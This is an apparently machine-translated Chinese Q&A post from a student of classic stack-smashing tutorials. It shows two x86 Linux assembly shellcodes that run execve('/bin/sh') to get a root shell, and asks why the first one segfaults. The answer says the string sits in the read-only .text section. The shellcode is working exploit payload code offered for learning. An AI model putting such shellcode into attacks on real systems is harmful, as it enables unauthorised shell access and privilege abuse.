我最近读过Aleph One砸碎堆栈以获取乐趣和利润,并一直在关注“The Shellcoder的Hanbook”。我正在使用以下汇编代码:
section .text
global _start
_start:
jmp short GotoCall
shellcode:
pop ebx
xor eax, eax
mov [ebx + 7], al
mov [ebx + 8], ebx
mov [ebx + 12], eax
mov al, 0x0b
lea ecx, [ebx + 8]
lea edx, [ebx + 12]
int 80h
xor eax, eax
mov al, 0x01
int 80h
GotoCall:
Call shellcode
db '/bin/shJAAAAKKKK'
当我使用GDB时,每次尝试写入时都会出现seg错误:
mov [ebx + 7], al
然而,当我运行这个时,我可以弹出没有segfaulting的root shell:
section .text
global _start
_start:
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
push ebx
mov ecx, esp
xor edx,edx
mov al, 0xb
int 80h
基本上他们正在做同样的事情(是的,我知道他们不是真的,但我试图在两者中弹出一个root shell)。我正在OpenSuse11.4上运行,并且我已经关闭了堆栈随机化(ASLR)以用于学习目的。有什么想法吗?
答案 0 :(得分:4)
您已将db '/bin/shJAAAAKKKK'
字符串放入.text
部分,该部分通常不可写。
如果你将它放入.data
,崩溃就会消失,但你必须以其他方式获取字符串的地址:它将不再紧跟CALL
GotoCall
。